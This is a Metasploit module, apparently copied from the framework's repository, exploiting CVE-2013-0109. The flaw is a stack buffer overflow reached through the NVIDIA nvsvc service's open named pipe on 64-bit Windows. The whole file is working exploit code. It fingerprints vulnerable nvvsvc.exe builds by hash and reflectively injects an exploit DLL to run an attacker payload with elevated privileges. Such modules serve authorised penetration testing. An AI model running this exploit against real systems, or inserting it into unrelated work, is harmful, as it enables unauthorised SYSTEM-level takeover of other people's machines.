metasploit-framework/modules/exploits/windows/local/nvidia_nvsvc.rb

149 lines
4.7 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
include Msf::Post::Windows::Services
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Nvidia (nvsvc) Display Driver Service Local Privilege Escalation',
'Description' => %q{
The named pipe, \pipe\nsvr, has a NULL DACL allowing any authenticated user to
interact with the service. It contains a stacked based buffer overflow as a result
of a memmove operation. Note the slight spelling differences: the executable is 'nvvsvc.exe',
the service name is 'nvsvc', and the named pipe is 'nsvr'.
This exploit automatically targets nvvsvc.exe versions dated Nov 3 2011, Aug 30 2012, and Dec 1 2012.
It has been tested on Windows 7 64-bit against nvvsvc.exe dated Dec 1 2012.
},
'License' => MSF_LICENSE,
'Author' => [
'Peter Wintersmith', # Original exploit
'Ben Campbell', # Metasploit integration
],
'Arch' => ARCH_X64,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows x64', {} ]
],
'Payload' => {
'Space' => 2048,
'DisableNops' => true,
'BadChars' => "\x00"
},
'References' => [
[ 'CVE', '2013-0109' ],
[ 'OSVDB', '88745' ],
[ 'URL', 'http://nvidia.custhelp.com/app/answers/detail/a_id/3288' ],
],
'DisclosureDate' => '2012-12-25',
'DefaultTarget' => 0,
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_md5
]
}
}
}
)
)
end
def check
vuln_hashes = [
'43f91595049de14c4b61d1e76436164f',
'3947ad5d03e6abcce037801162fdb90d',
'3341d2c91989bc87c3c0baa97c27253b'
]
if session.platform == 'windows'
svc = service_info 'nvsvc'
if svc && svc[:display] =~ (/NVIDIA/i)
vprint_good("Found service '#{svc[:display]}'")
begin
if is_running?
vprint_good('Service is running')
else
vprint_error('Service is not running!')
end
rescue RuntimeError
vprint_error('Unable to retrieve service status')
return Exploit::CheckCode::Unknown
end
path = svc[:path].gsub('"', '').strip
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
path.gsub!('system32', 'sysnative')
end
begin
hash = client.fs.file.md5(path).unpack('H*').first
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Error checking file hash: #{e}")
return Exploit::CheckCode::Detected
end
if vuln_hashes.include?(hash)
vprint_good("Hash '#{hash}' is listed as vulnerable")
return Exploit::CheckCode::Vulnerable
else
vprint_status("Hash '#{hash}' is not recorded as vulnerable")
return Exploit::CheckCode::Detected
end
else
return Exploit::CheckCode::Safe
end
end
end
def is_running?
status = service_status('nvsvc')
return (status and status[:state] == 4)
rescue RuntimeError
print_error('Unable to retrieve service status')
return false
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end
print_status('Launching a process to host the exploit and reflectively injecting and executing the exploit DLL...')
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
library_path = ::File.join(Msf::Config.data_directory,
'exploits',
'CVE-2013-0109',
'nvidia_nvsvc.x86.dll')
encoded_payload = payload.encoded
# Forceably run the a 32-bit process because our payload is 32-bit even though
# we're running on x64.
execute_dll(library_path, encoded_payload)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end